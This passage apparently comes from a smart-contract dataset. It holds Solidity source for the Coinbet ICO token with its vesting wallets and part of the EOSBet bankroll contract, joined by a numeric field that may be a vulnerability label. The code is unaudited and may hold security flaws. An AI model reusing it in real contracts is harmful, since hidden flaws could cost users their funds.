addAdvisor(0xab74072a37e08Ff9ceA098d4E33438257589B044, 1000000 * (10 ** 18));
addAdvisor(0x3DFD289380Cbe25456B5973306129753c4ed3dF3, 7000000 * (10 ** 18));
setAllocateTokenDone();
}
function withdrawTokens() external {
require(now > firstUnlockDate);
Advisor storage advisor = advisors[msg.sender];
require(advisor.tokenAmount > 0);
uint256 amount = 0;
if(now > secondUnlockDate) {
amount = advisor.tokenAmount;
} else if(now > firstUnlockDate && advisor.withdrawStage == 0){
amount = advisor.tokenAmount * 50 / 100;
}
if(amount > 0) {
advisor.tokenAmount = advisor.tokenAmount.sub(amount);
advisor.withdrawStage = advisor.withdrawStage + 1;
tokenContract.transfer(msg.sender, amount);
emit WithdrewTokens(tokenContract, msg.sender, amount);
return;
}
revert();
}
}
contract TeamWallet {
using SafeMath for uint256;
struct Member {
uint256 tokenAmount;
uint256 tokenRemain;
uint withdrawStage;
address lastRejecter;
bool isRejected;
}
ERC20 public tokenContract;
uint256 public totalToken;
address public creator;
bool public allocateTokenDone = false;
mapping(address => Member) public members;
uint public firstUnlockDate;
uint public secondUnlockDate;
uint public thirdUnlockDate;
address public approver1;
address public approver2;
event WithdrewTokens(address _tokenContract, address _to, uint256 _amount);
event RejectedWithdrawal(address _rejecter, address _member, uint _withdrawStage);
modifier onlyCreator() {
require(msg.sender == creator);
_;
}
modifier onlyApprover() {
require(msg.sender == approver1 || msg.sender == approver2);
_;
}
constructor(
address _approver1,
address _approver2
) public {
require(_approver1 != address(0));
require(_approver2 != address(0));
creator = msg.sender;
tokenContract = ERC20(creator);
firstUnlockDate = now + (12 * 30 days);
secondUnlockDate = now + (24 * 30 days);
thirdUnlockDate = now + (36 * 30 days);
approver1 = _approver1;
approver2 = _approver2;
}
function() payable public {
revert();
}
function setAllocateTokenDone() internal {
require(!allocateTokenDone);
allocateTokenDone = true;
}
function addMember(address _memberAddress, uint256 _tokenAmount) internal {
require(!allocateTokenDone);
members[_memberAddress] = Member(_tokenAmount, _tokenAmount, 0, address(0), false);
totalToken = totalToken.add(_tokenAmount);
}
function allocateTokenForTeam() external onlyApprover {
addMember(0x0929C384F12914Fe20dE96af934A35b8333Bbe11, 97656 * (10 ** 18));
addMember(0x0A0aC5949FE7Af47B566F0dC02f92DF6B6980AA5, 65104 * (10 ** 18));
addMember(0x0eE878D94e22Cb50A62e4D685193B35015e3eDf8, 640000 * (10 ** 18));
addMember(0x1A5912eEb9490B0937CD36636eEEFA82aA4Aa549, 177083 * (10 ** 18));
addMember(0x1b2298A5d5342452D87D6684Fe31aEe52A31433d, 130208 * (10 ** 18));
addMember(0x1eF0f9F6CcD2528d7038d4cEe47a417cA7f4c79d, 175781 * (10 ** 18));
addMember(0x23a18F3A82F9EE302a1e6350b8D9f9F3B65ED5D7, 104167 * (10 ** 18));
addMember(0x24F29d95a0D41a1713b67b29Bf664A1b70B5D683, 97656 * (10 ** 18));
addMember(0x2598aCe98c1117f72Da929441b56a26994d5b13A, 680000 * (10 ** 18));
addMember(0x275c667B3B372Ffb03BF05B97841C66eF1f1DF99, 480000 * (10 ** 18));
addMember(0x27be83EBDC7D7917e2A4247bb8286cB192b74C51, 65104 * (10 ** 18));
addMember(0x2847aFA0348284658A2cAFf676361A26220ccE7d, 280000 * (10 ** 18));
addMember(0x29904b46fb7e411654dd16b1e9680A81Aa5A472D, 240000 * (10 ** 18));
addMember(0x2B6f1941101c633Bbe24ce13Fd49ba14480F7242, 120000 * (10 ** 18));
addMember(0x2c647B2D6a5B3FFE21bebA4467937cEd24c4292B, 720000 * (10 ** 18));
addMember(0x2d8cdfBfc3C8Df06f70257eAca63aB742db62562, 110677 * (10 ** 18));
addMember(0x3289E2310108699e22c2CDF81485885a3E9d3683, 31250 * (10 ** 18));
addMember(0x375814a2D26A8cB1a010Db1FE8cE9Bc06e5224af, 125000 * (10 ** 18));
addMember(0x401438aD9584A68D5A68FA1E8a2ef716862d82d9, 149740 * (10 ** 18));
addMember(0x44be551E017893A0dD74e5160Ef0DB0aed2BdA54, 400000 * (10 ** 18));
addMember(0x451B389a9F7365B09A24481F9EB5a125F64Ae4aB, 280000 * (10 ** 18));
addMember(0x500D157FA3E3Ab5133ee0C7EFff3Ad5cdBCE01F3, 400000 * (10 ** 18));
addMember(0x577FEE18cCD840b2a41c9180bbE6412a89c1aD2C, 720000 * (10 ** 18));
addMember(0x58eA48c5FD9ac82e6CCb8aC67aCB48D1fb38b592, 80000 * (10 ** 18));
addMember(0x5DdfCd7d8FAe31014010C3877E4Bf91F2E683F2D, 130208 * (10 ** 18));
addMember(0x5E5Fc9f5C8B2EA3436D92dC07f621496C6E3EeC4, 800000 * (10 ** 18));
addMember(0x5F89F3FeeeB67B3229b17E389D8BaD28f44d08aA, 120000 * (10 ** 18));
addMember(0x60a09Fa998a1A6625c1161C452aAab26e6151cfA, 45573 * (10 ** 18));
addMember(0x63Fa2cE8C891690fF40FB197E09C72B84Ca1030e, 121094 * (10 ** 18));
addMember(0x66e898bA75FC329d872e61eE16fc4ea0248Eb369, 320000 * (10 ** 18));
addMember(0x66F212e3Ba5F44BeB014FCe2beD1b1F290b13009, 15625 * (10 ** 18));
addMember(0x6736ead91e4E9131262Aa033B8811071BbCa3f85, 117188 * (10 ** 18));
addMember(0x6B99cE47bf47D91159109506B4722c732B5d7b46, 120000 * (10 ** 18));
addMember(0x6f9140d408Faf111eF3D693645638B863650057d, 320000 * (10 ** 18));
addMember(0x7510CC3635470Bd033c94a10B0a7ed46d98EbcC7, 156250 * (10 ** 18));
addMember(0x7692bF394c84D3a880407E8cf4167b01007A9880, 175781 * (10 ** 18));
addMember(0x7726bDa7d29FC141Eb65150eA7CBB1bC985693Dd, 93750 * (10 ** 18));
addMember(0x7B6c1d3475974d5904c31BE4F3B9aA26F6eCAebB, 400000 * (10 ** 18));
addMember(0x7D0E17DEa015B5A687385116d443466B2a42c65B, 109375 * (10 ** 18));
addMember(0x8a0D93CF316b6Eb58aa5463533d06F18Bfa58ade, 640000 * (10 ** 18));
addMember(0x8F25dD569c72fB507D72D743f070273556123AED, 169271 * (10 ** 18));
addMember(0x908D0CF89bc46510b1B472F51905169Ad025f99F, 120000 * (10 ** 18));
addMember(0x99A43289E131640534E147596F05d40699214673, 160000 * (10 ** 18));
addMember(0x9C16FA8a4e04d67781D3d02a6b17De7a3e27e168, 600000 * (10 ** 18));
addMember(0x9DAeD1073C38902a9a6dD8834f8a7c7851717b86, 360000 * (10 ** 18));
addMember(0xa0dc24Aa838946d39d3d76f0f776BE6D26cB7b2b, 520000 * (10 ** 18));
addMember(0xa40b31177E908d235FDF6AE8010e135d204BE19c, 160000 * (10 ** 18));
addMember(0xa428FEcCc9E9F972498303d2C91982f1B6813827, 109375 * (10 ** 18));
addMember(0xa7951c07d25d88D75662BD68B5dF4D6D08F17600, 104167 * (10 ** 18));
addMember(0xA7fD89962f76233b68c33b0d9795c5899Feb11B3, 320000 * (10 ** 18));
addMember(0xA8B6FB38F8BeC4C331E922Eb5a842921081267ce, 156250 * (10 ** 18));
addMember(0xafbE656FbBC42704ef04aa6D8Ee1FEa9F3b71E7F, 136719 * (10 ** 18));
addMember(0xb1cf51D7e8F987d0e64bBB2e1bE277821c600778, 130208 * (10 ** 18));
addMember(0xB694854b6d8e6eAbDC15bE93005CCd54B841a79f, 560000 * (10 ** 18));
addMember(0xb6dFc3227E2dd9CA569fFCE69014539F138D1bcC, 280000 * (10 ** 18));
addMember(0xc230934C7610e39Ae06d4799e21b938bB44E60f2, 280000 * (10 ** 18));
addMember(0xc6888650Dec537dD4f056008D9d3ED171d48F1CD, 640000 * (10 ** 18));
addMember(0xccE1fc98815307BcDdE9596544802945a664C8b7, 440000 * (10 ** 18));
addMember(0xd1326c632009979713BD92855cecc04c7ebE29F0, 36458 * (10 ** 18));
addMember(0xD3859645cECCEFB1210567BaEB9c714272c9f61B, 149740 * (10 ** 18));
addMember(0xDB252f9D8Bd0Cb0bB83df4E50870977c771C6b50, 26042 * (10 ** 18));
addMember(0xDc87F026A5d5E37B9AD67321a19802Bb5082cC67, 400000 * (10 ** 18));
addMember(0xE01b721ef02A550B11DF7e0B3f55809227a4F1B4, 680000 * (10 ** 18));
addMember(0xe13E61A210724D50F5D39cd3f8b08955993E9309, 80000 * (10 ** 18));
addMember(0xe2D9a70307383072f18bf9D0eff9Cb98d1278777, 600000 * (10 ** 18));
addMember(0xe81CF8A8F052B6dd9dFfF452a593e5638A4097ee, 109375 * (10 ** 18));
addMember(0xEC80389aF763b4d141b1AD2a1E8579f8B5500fAF, 560000 * (10 ** 18));
addMember(0xF568705D7A1Df478CF6118420fA482B71092Ca66, 156250 * (10 ** 18));
addMember(0xF662482E8196Fb5e4f680964263A5bA618E295A7, 149740 * (10 ** 18));
addMember(0xF84FB7E6d21364B4F919Cab2A205Af70ae86f013, 800000 * (10 ** 18));
addMember(0xF9Cd27047e11DdDb93C5623a97b49278B1443576, 110677 * (10 ** 18));
addMember(0xF9d41D1409cdf2AfD629ab437760Bb41260CC81D, 20833 * (10 ** 18));
addMember(0xFbAEF91d25e3cfad0aDef2F9C43f9eC957615E43, 680000 * (10 ** 18));
addMember(0xfe5e823c967476bC4cFB8D84Dfaf6699A76062F4, 140625 * (10 ** 18));
setAllocateTokenDone();
}
function withdrawTokens() external {
require(now > firstUnlockDate);
Member storage member = members[msg.sender];
require(member.tokenRemain > 0 && member.isRejected == false);
uint256 amount = 0;
if(now > thirdUnlockDate) {
amount = member.tokenRemain;
} else if(now > secondUnlockDate && member.withdrawStage == 1) {
amount = member.tokenAmount * 30 / 100;
} else if(now > firstUnlockDate && member.withdrawStage == 0){
amount = member.tokenAmount * 20 / 100;
}
if(amount > 0) {
member.tokenRemain = member.tokenRemain.sub(amount);
member.withdrawStage = member.withdrawStage + 1;
tokenContract.transfer(msg.sender, amount);
emit WithdrewTokens(tokenContract, msg.sender, amount);
return;
}
revert();
}
function rejectWithdrawal(address _memberAddress) external onlyApprover {
Member storage member = members[_memberAddress];
require(member.lastRejecter != msg.sender);
require(member.tokenRemain > 0 && member.isRejected == false);
if(member.lastRejecter != address(0)) {
member.isRejected = true;
}
member.lastRejecter = msg.sender;
emit RejectedWithdrawal(msg.sender, _memberAddress, member.withdrawStage);
}
function canBurn(address _memberAddress) external view returns(bool) {
Member memory member = members[_memberAddress];
if(member.tokenRemain > 0) return member.isRejected;
return false;
}
function getMemberTokenRemain(address _memberAddress) external view returns(uint256) {
Member memory member = members[_memberAddress];
if(member.tokenRemain > 0) return member.tokenRemain;
return 0;
}
function burnMemberToken(address _memberAddress) external onlyCreator() {
Member storage member = members[_memberAddress];
require(member.tokenRemain > 0 && member.isRejected);
member.tokenRemain = 0;
}
}
pragma solidity ^0.4.24;
library ICOData {
struct Bracket {
uint256 total;
uint256 remainToken;
uint256 tokenPerEther;
uint256 minAcceptedAmount;
}
enum SaleStates {
InPrivateSale,
InPresale,
EndPresale,
InPublicSale,
EndPublicSale
}
}
contract Coinbet is ERC20, Ownable {
string public constant name = "Coinbet";
string public constant symbol = "Z88";
uint256 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 200000000 * (10 ** decimals);
uint256 public constant FOUNDER_AND_TEAM_ALLOCATION = 20000000 * (10 ** decimals);
uint256 public constant ADVISOR_ALLOCATION = 10000000 * (10 ** decimals);
uint256 public constant AIRDROP_ALLOCATION = 5000000 * (10 ** decimals);
uint256 public constant TREASURY_ALLOCATION = 30000000 * (10 ** decimals);
uint256 public constant PARTNER_ALLOCATION = 10000000 * (10 ** decimals);
uint256 public constant PRIVATE_SALE_ALLOCATION = 40000000 * (10 ** decimals);
uint256 public constant PRESALE_ALLOCATION = 20000000 * (10 ** decimals);
uint256 public constant PUBLIC_1_ALLOCATION = 20000000 * (10 ** decimals);
uint256 public constant PUBLIC_2_ALLOCATION = 40000000 * (10 ** decimals);
uint256 public constant LOTTO645_JACKPOT_ALLOCATION = 1500000 * (10 ** decimals);
uint256 public constant LOTTO655_JACKPOT_1_ALLOCATION = 3000000 * (10 ** decimals);
uint256 public constant LOTTO655_JACKPOT_2_ALLOCATION = 500000 * (10 ** decimals);
address public admin;
address public fundWallet;
address public airdropWallet;
address public treasuryWallet;
address public partnerWallet;
TeamWallet public teamWallet;
AdvisorWallet public advisorWallet;
address public lotto645JackpotWallet;
address public lotto655Jackpot1Wallet;
address public lotto655Jackpot2Wallet;
uint256 public privateSaleRemain;
ICOData.Bracket public presaleBracket;
ICOData.SaleStates public saleState;
bool public isSelling;
uint public sellingTime;
bool public isTransferable;
ICOData.Bracket[2] public publicBrackets;
uint private currentPublicBracketIndex;
event PrivateSale(address to, uint256 tokenAmount);
event PublicSale(address to, uint256 amount, uint256 tokenAmount);
event SetBracketPrice(uint bracketIndex, uint256 tokenPerEther);
event StartPublicSale(uint256 tokenPerEther);
event EndPublicSale();
event SetPresalePrice(uint256 tokenPerEther);
event PreSale(address to, uint256 amount, uint256 tokenAmount);
event StartPrivateSale(uint startedTime);
event StartPresale(uint256 tokenPerEther, uint startedTime);
event EndPresale();
event ChangeBracketIndex(uint bracketIndex);
event EnableTransfer();
event BurnTeamToken(address lockedWallet, address memberAddress, uint256 amount);
modifier transferable() {
require(isTransferable == true);
_;
}
modifier isInSale() {
require(isSelling == true);
_;
}
modifier onlyAdminOrOwner() {
require(msg.sender == admin || msg.sender == owner());
_;
}
constructor(
address _admin,
address _fundWallet,
address _airdropWallet,
address _treasuryWallet,
address _partnerWallet,
address _lotto645JackpotWallet,
address _lotto655Jackpot1Wallet,
address _lotto655Jackpot2Wallet,
address _approver1,
address _approver2,
uint _startPrivateSaleAfter
)
public
{
require(_admin != address(0) && _admin != msg.sender);
require(_fundWallet != address(0) && _fundWallet != msg.sender);
require(_airdropWallet != address(0) && _airdropWallet != msg.sender );
require(_treasuryWallet != address(0) && _treasuryWallet != msg.sender );
require(_partnerWallet != address(0) && _partnerWallet != msg.sender );
require(_lotto645JackpotWallet != address(0) && _lotto645JackpotWallet != msg.sender );
require(_lotto655Jackpot1Wallet != address(0) && _lotto655Jackpot1Wallet != msg.sender );
require(_lotto655Jackpot2Wallet != address(0) && _lotto655Jackpot2Wallet != msg.sender );
admin = _admin;
fundWallet = _fundWallet;
airdropWallet = _airdropWallet;
treasuryWallet = _treasuryWallet;
partnerWallet = _partnerWallet;
lotto645JackpotWallet = _lotto645JackpotWallet;
lotto655Jackpot1Wallet = _lotto655Jackpot1Wallet;
lotto655Jackpot2Wallet = _lotto655Jackpot2Wallet;
saleState = ICOData.SaleStates.InPrivateSale;
sellingTime = now + _startPrivateSaleAfter * 1 seconds;
teamWallet = new TeamWallet(_approver1, _approver2);
advisorWallet = new AdvisorWallet();
emit StartPrivateSale(sellingTime);
initTokenAndBrackets();
}
function getSaleState() public view returns (ICOData.SaleStates state, uint time) {
return (saleState, sellingTime);
}
function () external payable isInSale {
require(fundWallet != address(0));
if(saleState == ICOData.SaleStates.InPresale && now >= sellingTime ) {
return purchaseTokenInPresale();
} else if(saleState == ICOData.SaleStates.InPublicSale && now >= sellingTime ) {
return purchaseTokenInPublicSale();
}
revert();
}
function getCurrentPublicBracket()
public
view
returns (
uint256 bracketIndex,
uint256 total,
uint256 remainToken,
uint256 tokenPerEther,
uint256 minAcceptedAmount
)
{
if(saleState == ICOData.SaleStates.InPublicSale) {
ICOData.Bracket memory bracket = publicBrackets[currentPublicBracketIndex];
return (currentPublicBracketIndex, bracket.total, bracket.remainToken, bracket.tokenPerEther, bracket.minAcceptedAmount);
} else {
return (0, 0, 0, 0, 0);
}
}
function transfer(address _to, uint256 _value)
public
transferable
returns (bool success)
{
require(_to != address(0));
require(_value > 0);
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value)
public
transferable
returns (bool success)
{
require(_from != address(0));
require(_to != address(0));
require(_value > 0);
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value)
public
transferable
returns (bool success)
{
require(_spender != address(0));
require(_value > 0);
return super.approve(_spender, _value);
}
function changeWalletAddress(address _newAddress) external onlyOwner {
require(_newAddress != address(0));
require(fundWallet != _newAddress);
fundWallet = _newAddress;
}
function changeAdminAddress(address _newAdmin) external onlyOwner {
require(_newAdmin != address(0));
require(admin != _newAdmin);
admin = _newAdmin;
}
function enableTransfer() external onlyOwner {
require(isTransferable == false);
isTransferable = true;
emit EnableTransfer();
}
function transferPrivateSale(address _to, uint256 _value)
external
onlyAdminOrOwner
returns (bool success)
{
require(saleState == ICOData.SaleStates.InPrivateSale);
require(_to != address(0));
require(_value > 0);
require(privateSaleRemain >= _value);
privateSaleRemain = privateSaleRemain.sub(_value);
_transfer(owner(), _to, _value);
emit PrivateSale(_to, _value);
return true;
}
function setPublicPrice(uint _bracketIndex, uint256 _tokenPerEther)
external
onlyAdminOrOwner
returns (bool success)
{
require(_tokenPerEther > 0);
require(publicBrackets.length > _bracketIndex && _bracketIndex >= currentPublicBracketIndex);
ICOData.Bracket storage bracket = publicBrackets[_bracketIndex];
require(bracket.tokenPerEther != _tokenPerEther);
bracket.tokenPerEther = _tokenPerEther;
emit SetBracketPrice(_bracketIndex, _tokenPerEther);
return true;
}
function setMinAcceptedInPublicSale(uint _bracketIndex, uint256 _minAcceptedAmount)
external
onlyAdminOrOwner
returns (bool success)
{
require(_minAcceptedAmount > 0);
require(publicBrackets.length > _bracketIndex && _bracketIndex >= currentPublicBracketIndex);
ICOData.Bracket storage bracket = publicBrackets[_bracketIndex];
require(bracket.minAcceptedAmount != _minAcceptedAmount);
bracket.minAcceptedAmount = _minAcceptedAmount;
return true;
}
function changeToPublicSale() external onlyAdminOrOwner returns (bool success) {
require(saleState == ICOData.SaleStates.EndPresale);
return startPublicSale();
}
function setPresalePrice(uint256 _tokenPerEther) external onlyAdminOrOwner returns (bool) {
require(_tokenPerEther > 0);
require(presaleBracket.tokenPerEther != _tokenPerEther);
presaleBracket.tokenPerEther = _tokenPerEther;
emit SetPresalePrice(_tokenPerEther);
return true;
}
function startPresale(uint256 _tokenPerEther, uint _startAfter)
external
onlyAdminOrOwner
returns (bool)
{
require(saleState < ICOData.SaleStates.InPresale);
require(_tokenPerEther > 0);
presaleBracket.tokenPerEther = _tokenPerEther;
isSelling = true;
saleState = ICOData.SaleStates.InPresale;
sellingTime = now + _startAfter * 1 seconds;
emit StartPresale(_tokenPerEther, sellingTime);
return true;
}
function setMinAcceptedAmountInPresale(uint256 _minAcceptedAmount)
external
onlyAdminOrOwner
returns (bool)
{
require(_minAcceptedAmount > 0);
require(presaleBracket.minAcceptedAmount != _minAcceptedAmount);
presaleBracket.minAcceptedAmount = _minAcceptedAmount;
return true;
}
function burnMemberToken(address _member) external onlyAdminOrOwner {
require(teamWallet != address(0));
bool canBurn = teamWallet.canBurn(_member);
uint256 tokenRemain = teamWallet.getMemberTokenRemain(_member);
require(canBurn && tokenRemain > 0);
teamWallet.burnMemberToken(_member);
_burn(teamWallet, tokenRemain);
emit BurnTeamToken(teamWallet, _member, tokenRemain);
}
function initTokenAndBrackets() private {
_mint(owner(), INITIAL_SUPPLY);
super.transfer(airdropWallet, AIRDROP_ALLOCATION);
super.transfer(treasuryWallet, TREASURY_ALLOCATION);
super.transfer(partnerWallet, PARTNER_ALLOCATION);
privateSaleRemain = PRIVATE_SALE_ALLOCATION;
uint256 minAcceptedAmountInPresale = 1 ether;
presaleBracket = ICOData.Bracket(PRESALE_ALLOCATION, PRESALE_ALLOCATION, 0, minAcceptedAmountInPresale);
uint256 minAcceptedAmountInBracket1 = 0.5 * (1 ether);
publicBrackets[0] = ICOData.Bracket(PUBLIC_1_ALLOCATION, PUBLIC_1_ALLOCATION, 0, minAcceptedAmountInBracket1);
uint256 minAcceptedAmountInBracket2 = 0.1 * (1 ether);
publicBrackets[1] = ICOData.Bracket(PUBLIC_2_ALLOCATION, PUBLIC_2_ALLOCATION, 0, minAcceptedAmountInBracket2);
super.transfer(lotto645JackpotWallet, LOTTO645_JACKPOT_ALLOCATION);
super.transfer(lotto655Jackpot1Wallet, LOTTO655_JACKPOT_1_ALLOCATION);
super.transfer(lotto655Jackpot2Wallet, LOTTO655_JACKPOT_2_ALLOCATION);
super.transfer(teamWallet, FOUNDER_AND_TEAM_ALLOCATION);
super.transfer(advisorWallet, ADVISOR_ALLOCATION);
advisorWallet.allocateTokenForAdvisor();
}
function purchaseTokenInPresale() private {
require(msg.value >= presaleBracket.minAcceptedAmount);
require(presaleBracket.tokenPerEther > 0 && presaleBracket.remainToken > 0);
uint256 tokenPerEther = presaleBracket.tokenPerEther.mul(10 ** decimals);
uint256 tokenAmount = msg.value.mul(tokenPerEther).div(1 ether);
uint256 refundAmount = 0;
if(tokenAmount > presaleBracket.remainToken) {
refundAmount = tokenAmount.sub(presaleBracket.remainToken).mul(1 ether).div(tokenPerEther);
tokenAmount = presaleBracket.remainToken;
}
presaleBracket.remainToken = presaleBracket.remainToken.sub(tokenAmount);
_transfer(owner(), msg.sender, tokenAmount);
uint256 paymentAmount = msg.value.sub(refundAmount);
fundWallet.transfer(paymentAmount);
if(refundAmount > 0)
msg.sender.transfer(refundAmount);
emit PreSale(msg.sender, paymentAmount, tokenAmount);
if(presaleBracket.remainToken == 0) {
endPresale();
}
}
function endPresale() private {
isSelling = false;
saleState = ICOData.SaleStates.EndPresale;
emit EndPresale();
startPublicSale();
}
function startPublicSale() private returns (bool success) {
ICOData.Bracket memory bracket = publicBrackets[currentPublicBracketIndex];
if(bracket.tokenPerEther == 0) return false;
isSelling = true;
saleState = ICOData.SaleStates.InPublicSale;
emit StartPublicSale(bracket.tokenPerEther);
return true;
}
function purchaseTokenInPublicSale() private {
ICOData.Bracket storage bracket = publicBrackets[currentPublicBracketIndex];
require(msg.value >= bracket.minAcceptedAmount);
require(bracket.tokenPerEther > 0 && bracket.remainToken > 0);
uint256 tokenPerEther = bracket.tokenPerEther.mul(10 ** decimals);
uint256 remainToken = bracket.remainToken;
uint256 tokenAmount = msg.value.mul(tokenPerEther).div(1 ether);
uint256 refundAmount = 0;
if(remainToken < tokenAmount) {
refundAmount = tokenAmount.sub(remainToken).mul(1 ether).div(tokenPerEther);
tokenAmount = remainToken;
}
bracket.remainToken = bracket.remainToken.sub(tokenAmount);
_transfer(owner(), msg.sender, tokenAmount);
uint256 paymentAmount = msg.value.sub(refundAmount);
fundWallet.transfer(paymentAmount);
if(refundAmount > 0)
msg.sender.transfer(refundAmount);
emit PublicSale(msg.sender, paymentAmount, tokenAmount);
if(bracket.remainToken == 0) {
nextBracket();
}
}
function nextBracket() private {
if(currentPublicBracketIndex == publicBrackets.length - 1) {
isSelling = false;
saleState = ICOData.SaleStates.EndPublicSale;
isTransferable = true;
emit EnableTransfer();
emit EndPublicSale();
}
else {
currentPublicBracketIndex = currentPublicBracketIndex + 1;
emit ChangeBracketIndex(currentPublicBracketIndex);
}
}
} | 1 | 2,357 |
pragma solidity ^0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract EOSBetGameInterface {
uint256 public DEVELOPERSFUND;
uint256 public LIABILITIES;
function payDevelopersFund(address developer) public;
function receivePaymentForOraclize() payable public;
function getMaxWin() public view returns(uint256);
}
contract EOSBetBankrollInterface {
function payEtherToWinner(uint256 amtEther, address winner) public;
function receiveEtherFromGameAddress() payable public;
function payOraclize(uint256 amountToPay) public;
function getBankroll() public view returns(uint256);
}
contract ERC20 {
function totalSupply() constant public returns (uint supply);
function balanceOf(address _owner) constant public returns (uint balance);
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint _value) public returns (bool success);
function approve(address _spender, uint _value) public returns (bool success);
function allowance(address _owner, address _spender) constant public returns (uint remaining);
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
contract EOSBetBankroll is ERC20, EOSBetBankrollInterface {
using SafeMath for *;
address public OWNER;
uint256 public MAXIMUMINVESTMENTSALLOWED;
uint256 public WAITTIMEUNTILWITHDRAWORTRANSFER;
uint256 public DEVELOPERSFUND;
mapping(address => bool) public TRUSTEDADDRESSES;
address public DICE;
address public SLOTS;
mapping(address => uint256) contributionTime;
string public constant name = "EOSBet Stake Tokens";
string public constant symbol = "EOSBETST";
uint8 public constant decimals = 18;
uint256 public totalSupply;
mapping(address => uint256) public balances;
mapping(address => mapping(address => uint256)) public allowed;
event FundBankroll(address contributor, uint256 etherContributed, uint256 tokensReceived);
event CashOut(address contributor, uint256 etherWithdrawn, uint256 tokensCashedIn);
event FailedSend(address sendTo, uint256 amt);
modifier addressInTrustedAddresses(address thisAddress){
require(TRUSTEDADDRESSES[thisAddress]);
_;
}
function EOSBetBankroll(address dice, address slots) public payable {
require (msg.value > 0);
OWNER = msg.sender;
uint256 initialTokens = msg.value * 100;
balances[msg.sender] = initialTokens;
totalSupply = initialTokens;
emit Transfer(0x0, msg.sender, initialTokens);
TRUSTEDADDRESSES[dice] = true;
TRUSTEDADDRESSES[slots] = true;
DICE = dice;
SLOTS = slots;
WAITTIMEUNTILWITHDRAWORTRANSFER = 0 seconds;
MAXIMUMINVESTMENTSALLOWED = 500 ether;
}
function checkWhenContributorCanTransferOrWithdraw(address bankrollerAddress) view public returns(uint256){
return contributionTime[bankrollerAddress];
}
function getBankroll() view public returns(uint256){
return SafeMath.sub(address(this).balance, DEVELOPERSFUND);
}
function payEtherToWinner(uint256 amtEther, address winner) public addressInTrustedAddresses(msg.sender){
if (! winner.send(amtEther)){
emit FailedSend(winner, amtEther);
if (! OWNER.send(amtEther)){
emit FailedSend(OWNER, amtEther);
}
}
}
function receiveEtherFromGameAddress() payable public addressInTrustedAddresses(msg.sender){
}
function payOraclize(uint256 amountToPay) public addressInTrustedAddresses(msg.sender){
EOSBetGameInterface(msg.sender).receivePaymentForOraclize.value(amountToPay)();
}
function () public payable {
uint256 currentTotalBankroll = SafeMath.sub(getBankroll(), msg.value);
uint256 maxInvestmentsAllowed = MAXIMUMINVESTMENTSALLOWED;
require(currentTotalBankroll < maxInvestmentsAllowed && msg.value != 0);
uint256 currentSupplyOfTokens = totalSupply;
uint256 contributedEther;
bool contributionTakesBankrollOverLimit;
uint256 ifContributionTakesBankrollOverLimit_Refund;
uint256 creditedTokens;
if (SafeMath.add(currentTotalBankroll, msg.value) > maxInvestmentsAllowed){
contributionTakesBankrollOverLimit = true;
contributedEther = SafeMath.sub(maxInvestmentsAllowed, currentTotalBankroll);
ifContributionTakesBankrollOverLimit_Refund = SafeMath.sub(msg.value, contributedEther);
}
else {
contributedEther = msg.value;
}
if (currentSupplyOfTokens != 0){
creditedTokens = SafeMath.mul(contributedEther, currentSupplyOfTokens) / currentTotalBankroll;
}
else {
creditedTokens = SafeMath.mul(contributedEther, 100);
}
totalSupply = SafeMath.add(currentSupplyOfTokens, creditedTokens);
balances[msg.sender] = SafeMath.add(balances[msg.sender], creditedTokens);
contributionTime[msg.sender] = block.timestamp;
if (contributionTakesBankrollOverLimit){
msg.sender.transfer(ifContributionTakesBankrollOverLimit_Refund);
}
emit FundBankroll(msg.sender, contributedEther, creditedTokens);
emit Transfer(0x0, msg.sender, creditedTokens);
}
function cashoutEOSBetStakeTokens(uint256 _amountTokens) public {
uint256 tokenBalance = balances[msg.sender];
require(_amountTokens <= tokenBalance
&& contributionTime[msg.sender] + WAITTIMEUNTILWITHDRAWORTRANSFER <= block.timestamp
&& _amountTokens > 0);
uint256 currentTotalBankroll = getBankroll();
uint256 currentSupplyOfTokens = totalSupply;
uint256 withdrawEther = SafeMath.mul(_amountTokens, currentTotalBankroll) / currentSupplyOfTokens;
uint256 developersCut = withdrawEther / 100;
uint256 contributorAmount = SafeMath.sub(withdrawEther, developersCut);
totalSupply = SafeMath.sub(currentSupplyOfTokens, _amountTokens);
balances[msg.sender] = SafeMath.sub(tokenBalance, _amountTokens);
DEVELOPERSFUND = SafeMath.add(DEVELOPERSFUND, developersCut);
msg.sender.transfer(contributorAmount);
emit CashOut(msg.sender, contributorAmount, _amountTokens);
emit Transfer(msg.sender, 0x0, _amountTokens);
}
function cashoutEOSBetStakeTokens_ALL() public {
cashoutEOSBetStakeTokens(balances[msg.sender]);
}
function transferOwnership(address newOwner) public {
require(msg.sender == OWNER);
OWNER = newOwner;
}
function changeWaitTimeUntilWithdrawOrTransfer(uint256 waitTime) public {
require (msg.sender == OWNER && waitTime <= 6048000);
WAITTIMEUNTILWITHDRAWORTRANSFER = waitTime;
}
function changeMaximumInvestmentsAllowed(uint256 maxAmount) public {
require(msg.sender == OWNER);
MAXIMUMINVESTMENTSALLOWED = maxAmount;
}
function withdrawDevelopersFund(address receiver) public {
require(msg.sender == OWNER);
EOSBetGameInterface(DICE).payDevelopersFund(receiver);
EOSBetGameInterface(SLOTS).payDevelopersFund(receiver);
uint256 developersFund = DEVELOPERSFUND;
DEVELOPERSFUND = 0;
receiver.transfer(developersFund);
}
function emergencySelfDestruct() public {
require(msg.sender == OWNER);
selfdestruct(msg.sender);
}
function totalSupply() constant public returns(uint){
return totalSupply;
}
function balanceOf(address _owner) constant public returns(uint){
return balances[_owner];
}
function transfer(address _to, uint256 _value) public returns (bool success){
if (balances[msg.sender] >= _value
&& _value > 0
&& contributionTime[msg.sender] + WAITTIMEUNTILWITHDRAWORTRANSFER <= block.timestamp
&& _to != address(this)){
balances[msg.sender] = SafeMath.sub(balances[msg.sender], _value);
